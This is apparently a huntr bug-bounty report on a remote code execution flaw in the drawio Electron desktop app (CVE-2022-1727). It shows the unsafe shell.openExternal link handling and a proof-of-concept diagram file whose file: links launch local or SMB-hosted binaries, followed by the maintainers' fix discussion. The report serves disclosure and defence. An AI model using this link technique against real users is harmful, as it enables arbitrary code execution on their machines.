RCE in the Desktop App because of Unsafe Link Handling in jgraph/drawio

1

Valid Reported on May 13th 2022

Description

URLs (or links in a diagram) are passed to `shell.openExternal` without additional validation. This is a dangerous function and can be exploited when URLs with arbitrary schemes are passed to it. It allows code execution through various methods, as described in detail here:
https://benjamin-altpeter.de/shell-openexternal-dangers/
https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Relevant code:
Basically any URLs that are opened in the desktop app are passed to this function. Links will get a `click` handler that forwards the URL to `shell.openExternal`.
https://github.com/jgraph/drawio/blob/v18.0.3/src/main/webapp/electron.js#L1853-L1856

```
function openExternal(url)
{
    shell.openExternal(url);
}
```

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/webapp/js/diagramly/ElectronApp.js#L271-L291

```
Graph.prototype.createLinkForHint = function(href, label)
{
  var a = graphCreateLinkForHint.call(this, href, label);

  if (href != null && !this.isCustomLink(href))
  {
    // KNOWN: Event with gesture handler mouseUp the middle click opens a t
    mxEvent.addListener(a, 'click', mxUtils.bind(this, func
    {
      this.openLink(a.getAttribute('href'), a.getAttribute('target'));
```

```
        this.openLink(a.getAttribute('href'), a.getAttribute('target'));
        mxEvent.consume(evt);
      }));
    }

    return a;
};

Graph.prototype.openLink = async function(url, target)
{
    await requestSync({action: 'openExternal', url: url});
};
```

This allows the execution of local or remote binaries hosted on a SMB server when a malicious link using the `file:` -protocol, is clicked. However this is not limited to the `file:` -schema, several other dangerous schemas, depending on the operating system exist. Only a set of known safe protocols should be allowed. URLs with unknown schemas should not be opened by default and either denied completely or only allowed after explicit user confirmation.
Example for Windows:
Creating the following links and clicking them, will open the respective binaries.

```
local binaries: file:///c:/windows/system32/calc.exe

remote binaries: file:///\\live.sysinternals.com\tools\Procmon.exe
```

Note: The remote binary is located on the public SMB server hosting the Windows Sysinternals suite. For security reasons I would advise accessing it in a VM. Alternatively a custom SMB server hosting well known binaries of your choice could be used.

Proof of Concept

Save the following content as any `.drawio` file:

```
<mxfile host="Electron" modified="2022-05-12T18:45:26.751Z" agent="5.0 (Wir
  <diagram id="3b4GpDEXefnaodf0LQwb" name="Page-1">
    <mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tool
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0" />
```

```
        <UserObject label="local binaries" link="file:///c:/windows/system3
          <mxCell style="text;html=1;strokeColor=none;fillColor=none;align=
            <mxGeometry x="60" y="40" width="60" height="30" as="geometry"
          </mxCell>
        </UserObject>
        <UserObject label="remote binaries" link="file:///\\live.sysinterna
          <mxCell style="text;html=1;strokeColor=none;fillColor=none;align=
            <mxGeometry x="190" y="40" width="60" height="30" as="geometry'
          </mxCell>
        </UserObject>
      </root>
    </mxGraphModel>
  </diagram>
</mxfile>
```

Open the file in the desktop app and click on the link after selecting one of the elements.

Impact

Execute arbitrary code on the victims machine.

Occurrences

JS electron.js L1853-L1856

Usage of `shell.openExternal` without validation.

References

- https://benjamin-altpeter.de/shell-openexternal-dangers/

CVE
CVE-2022-1727
(Published)

Vulnerability Type
CWE-20: Improper Input Validation

Severity

Severity
High (8.3)

Registry
Other

Affected Version
<= 18.0.3

Visibility
Public

Status
Fixed

Found by

Tobias S. Fink
@7085
legend

This report was seen 1,407 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.
6 months ago

David Benson validated this vulnerability 6 months ago

Thanks, another good catch.

Tobias S. Fink has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Tobias S. Fink 6 months ago Researcher

Thanks :)
I would suggest not immediately marking the issues fixed on huntr when the actual fix is ready in order to give the users some time to update.
Otherwise this will disclose the report publicly right away.

Until the issues below are fixed, I think there is no other way currently:
https://github.com/418sec/huntr/issues/2143

https://github.com/418sec/huntr/issues/2198

David Benson 6 months ago Maintainer

Yup, we've given users a hint without details. That's out in 18.0.4. Thanks again for the report.

Tobias S. Fink 6 months ago Researcher

Would you agree with assigning a CVE for this?
This did not happen automatically here because the category 'CWE-20: Improper Input Validation' is not automated on huntr.
However, I think this would be the correct category, as it is the case on similar CVEs.

David Benson 6 months ago Maintainer

Yeah, happy for CVE.

Tobias S. Fink 6 months ago Researcher

Thanks, @admin can you please reserve a CVE for this?

We have sent a fix follow up to the **jgraph/drawio** team. We will try again in 7 days. 6 months ago

David Benson 6 months ago Maintainer

Commit was 4deecee18191f67e242422abf3ca304e19e49687

Jamie Slome 6 months ago Admin

CVE assigned 👍

It will automatically publish once the fix has been confirmed against the rep

Tobias S. Fink 6 months ago Researcher

Thanks.

The fix looks good.

Tobias S. Fink 6 months ago Researcher

I have two more further suggestions, just to be sure :)

To disable new windows on middle click: `disableBlinkFeatures: 'Auxclick'` eventually in combination with a `.setWindowOpenHandler` that denies new windows. Currently middle clicking opens a new Electron `BrowserWindow` but does not load any content.

A `will-navigate`-handler on the BrowserWindow which denies any navigation, like loading an insecure URL into the window. I did not observe any navigation anyway so this would not interfere with any current functionality i think.

Ref: https://www.electronjs.org/de/docs/latest/tutorial/security#13-disable-or-limit-navigation

Currently none of those seem to be exploitable, but those additional safety layers would follow the defense-in-depth principle, just in case.

David Benson 6 months ago Maintainer

Very much appriciate that. Electron certainly has some architectural weaknesses that needs active mitigration of anything that might form a chain.

Sounds like you're working through that doc looking for more holes, I wouldn't be surprised if there's something else too open.

Mohamed 6 months ago Maintainer

Hi,

I can't find documentation regarding "disableBlinkFeatures: 'Auxclick'". Also, I couldn't reproduce opening a new window with middle click.

Can you please share more details

Thanks

David Benson marked this as fixed in 18.0.6 with commit 4deece 6 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

electron.js#L1853-L1856 has been validated ✔

Tobias S. Fink 6 months ago Researcher

Hi, this not well documented, but searching for "electron auxclick" will lead you to several discussions. Here is one reference (page 17): https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf

Middle click is not captured by "click" event handlers and by default will open a new window, that's why it is important to take care of.

You need to middle click on a link. Also its commented as known issue in the code fragment of the report ;)

Mohamed 6 months ago Maintainer

Thanks

Sign in to join this conversation